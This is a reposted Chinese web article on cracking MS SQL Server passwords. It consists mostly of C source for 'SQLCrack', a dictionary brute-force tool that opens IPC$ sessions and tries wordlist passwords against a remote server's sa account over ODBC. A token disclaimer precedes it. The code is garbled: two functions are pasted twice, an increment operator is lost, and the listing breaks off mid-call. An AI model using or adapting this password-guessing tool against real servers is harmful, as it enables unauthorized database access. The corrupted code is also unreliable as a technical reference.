骇客是如何破解MS SQL SERCVER密码的

2008-02-23 06:54:15来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

此程序只作技术交流之用,如用于不法用途,作者不负任何责任!!

这篇文章的重点是如何探测MS SQL SERVER账号的密码,下面以一个实例来说明探测密码的全过程。

//程序所用到的头文件 



//定义全局变量 



char dict[20000][40],//准备探测的密码 



UserName[40],//用户名 



target[40],//目标服务器 



passwd[40];//已经探测出来的正确密码 



int total=0;//字典里面单词数量 



BOOL Cracked=FALSE;//探测密码成功时此值为TRUE 



// 



//函数:usage 



//功能:显示程序帮助信息 



// 



void usage() 



{ 





  printf("\nPower by analyzer〈inmiao@163.com〉" 





  "\nhttp://www.infocn.com" 





  "\nUsage:SQLCrack 〈ip〉 〈UserName〉 〈dict〉 〈SleepTime[20-1000]〉" 





  "\nExample:SQLCrack 192.168.0.1 sa c:\pwd.dic 50\n"); 





  return; 





  } 





  // 





  //函数:ReadDic 





  //功能:从字典文件里面读取数据,传递给全局变量dict,准备探测密码 





  //说明:函数运行失败返回值1,成功返回0 





  // 





  int ReadDic(char *dic) 





  { 





  FILE *fp; 





  char tmp[40]; 





  //打开字典文件 





  if((fp=fopen(dic,"r"))==NULL) 





  { 





  printf("\nCan't open %s",dic); 





  return 1; 





  } 





  while(!feof(fp)) 





  { 





  //读取数据到临时变量 





  if(fgets(tmp,40,fp)==NULL) 





  break; 





  //这里别忘了把从文件里面读出来的最后一位数据[换行符号]去掉,不然就探测不出来密码了 





  strncpy(dict[total],tmp,strlen(tmp)-1); 





  total  ; 





  //因为dict定义为dict[20000][40],所以这里如果字典里面的单词超出20000就退出循环 





  //不然就会溢出啦.可以自行调准 





  if(total〉=20000) 





  break; 





  } 





  fclose(fp); 





  return 0; 





  } 





  // 





  //函数:ConnIPC 





  //功能:建立IPC连接 





  //说明:连接失败返回值1,成功返回值0 





  // 





  int ConnIPC(char *RemoteName) 





  { 





  NETRESOURCE nr; 





  DWORD flags=CONNECT_UPDATE_PROFILE; 





  TCHAR RN[30]="", 





  LN[5]=""; 





  strcat(RN,RemoteName); 





  strcat(RN,"\ipc$"); 





  //填充数据结构 





  nr.dwType=RESOURCETYPE_DISK; 





  nr.lpLocalName=(LPTSTR)&LN; 





  nr.lpRemoteName=(LPTSTR)&RN; 





  nr.lpProvider=NULL; 





  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR) 





  { 





  return 0; 





  } 





  else 





  { 





  return 1; 





  } 





  } 





  // 





  //函数:DelIPC 





  //功能:断开IPC Session 





  //说明:成功返回值0,否则返回1 





  // 





  int DelIPC(char *RemoteName) 





  { 





  DWORD ret; 





  TCHAR lpName[30]=""; 





  strcat(lpName,RemoteName); 





  strcat(lpName,"\ipc$"); 





  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); 





  if(ret==NO_ERROR) 





  { 





  return 0; 





  } 





  else 





  { 





  return 1; 





  } 





  } 





  // 





  //函数SQLCheck 





  //功能:尝试用不同密码连接SQL Server,探测出正确的密码 





  // 





  DWORD WINAPI SQLCheck(PVOID pPwd) 





  { 





  //定义局部变量 





  char szBuffer[1025]; 





  char *pwd; 





  SWORD swStrLen; 





  SQLHDBC hdbc; 





  SQLHANDLE henv; 





  SQLRETURN retcode;//ODBC API运行返回值 





  SCHAR ConnStr[200];//连接数据库字符串 





  //取得传递过来准备探测的密码 





  pwd=(char *)pPwd; 





  //构造连接数据库字符 





  strcpy(ConnStr,"DRIVER={SQL Server};SERVER="); 





  strcat(ConnStr,target); 





  strcat(ConnStr,";UID="); 





  strcat(ConnStr,UserName); 





  strcat(ConnStr,";PWD="); 





  strcat(ConnStr,pwd); 





  strcat(ConnStr,";DATABASE=master"); 





  //puts(ConnStr); 





  //创建数据库应用的环境句柄 





  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) 





  { 





  printf("\nAllocate environment handle failed.\n"); 





  return 0; 





  } 





  //printf("henv.."); 





  //设置ODBC版本环境 





  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) 





  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) 





  { 





  printf("\nSet the ODBC version environment attribute failed.\n"); 





  SQLFreeHandle(SQL_HANDLE_ENV, henv); 





  return 0; 





  } 





  //printf("ODBC ver.."); 





  //创建连接句柄 





  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR 





  *)&hdbc)) != SQL_SUCCESS) 





  { 





  printf("\nAllocate connection handle failed.\n"); 





  SQLFreeHandle(SQL_HANDLE_ENV, henv); 





  return 0; 





  } 





  //printf("hdbc.."); 





  //连接数据源 





  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), 





  szBuffer,sizeof(szBuffer),&swStrLen, 





  SQL_DRIVER_COMPLETE_REQUIRED); 





  //printf("conn.."); 





  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO) 





  { 





  //连接失败,函数终止 





  //printf("\nCouldn't connect to %s MSSQL server.\n",target); 





  SQLFreeHandle(SQL_HANDLE_DBC, hdbc); 





  SQLFreeHandle(SQL_HANDLE_ENV, henv); 





  return 0; 





  } 





  //连接远程MSSQL Server数据库成功 





  Cracked=TRUE; 





  strcpy(passwd,pwd); 





  //puts(szBuffer); 





  //显示连接远程数据库的字符串 





  //断开连接 





  SQLDisconnect(hdbc); 





  //printf("disconn.."); 





  //释放连接句柄 





  SQLFreeHandle(SQL_HANDLE_DBC, hdbc); 





  //printf("free hdbc.."); 





  //释放环境句柄 





  SQLFreeHandle(SQL_HANDLE_ENV, henv); 





  //printf("free henv..\n"); 





  return 0; 





  } 





  // 





  //函数:DelIPC 





  //功能:断开IPC Session 





  //说明:成功返回值0,否则返回1 





  // 





  int DelIPC(char *RemoteName) 





  { 





  DWORD ret; 





  TCHAR lpName[30]=""; 





  strcat(lpName,RemoteName); 





  strcat(lpName,"\ipc$"); 





  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); 





  if(ret==NO_ERROR) 





  { 





  return 0; 





  } 





  else 





  { 





  return 1; 





  } 





  } 





  // 





  //函数SQLCheck 





  //功能:尝试用不同密码连接SQL Server,探测出正确的密码 





  // 





  DWORD WINAPI SQLCheck(PVOID pPwd) 





  { 





  //定义局部变量 





  char szBuffer[1025]; 





  char *pwd; 





  SWORD swStrLen; 





  SQLHDBC hdbc; 





  SQLHANDLE henv; 





  SQLRETURN retcode;//ODBC API运行返回值 





  SCHAR ConnStr[200];//连接数据库字符串 





  //取得传递过来准备探测的密码 





  pwd=(char *)pPwd; 





  //构造连接数据库字符 





  strcpy(ConnStr,"DRIVER={SQL Server};SERVER="); 





  strcat(ConnStr,target); 





  strcat(ConnStr,";UID="); 





  strcat(ConnStr,UserName); 





  strcat(ConnStr,";PWD="); 





  strcat(ConnStr,pwd); 





  strcat(ConnStr,";DATABASE=master"); 





  //puts(ConnStr); 





  //创建数据库应用的环境句柄 





  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) 





  { 





  printf("\nAllocate environment handle failed.\n"); 





  return 0; 





  } 





  //printf("henv.."); 





  //设置ODBC版本环境 





  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) 





  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) 





  { 





  printf("\nSet the ODBC version environment attribute failed.\n"); 





  SQLFreeHandle(SQL_HANDLE_ENV, henv); 





  return 0; 





  } 





  //printf("ODBC ver.."); 





  //创建连接句柄 





  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR 





  *)&hdbc)) != SQL_SUCCESS) 





  { 





  printf("\nAllocate connection handle failed.\n"); 





  SQLFreeHandle(SQL_HANDLE_ENV, henv); 





  return 0; 





  } 





  //printf("hdbc.."); 





  //连接数据源 





  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), 





  szBuffer,sizeof(szBuffer),&

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:坚决与恶意网站作斗争,分享实战经历

下一篇:教你怎样用安全网关消灭蠕虫病毒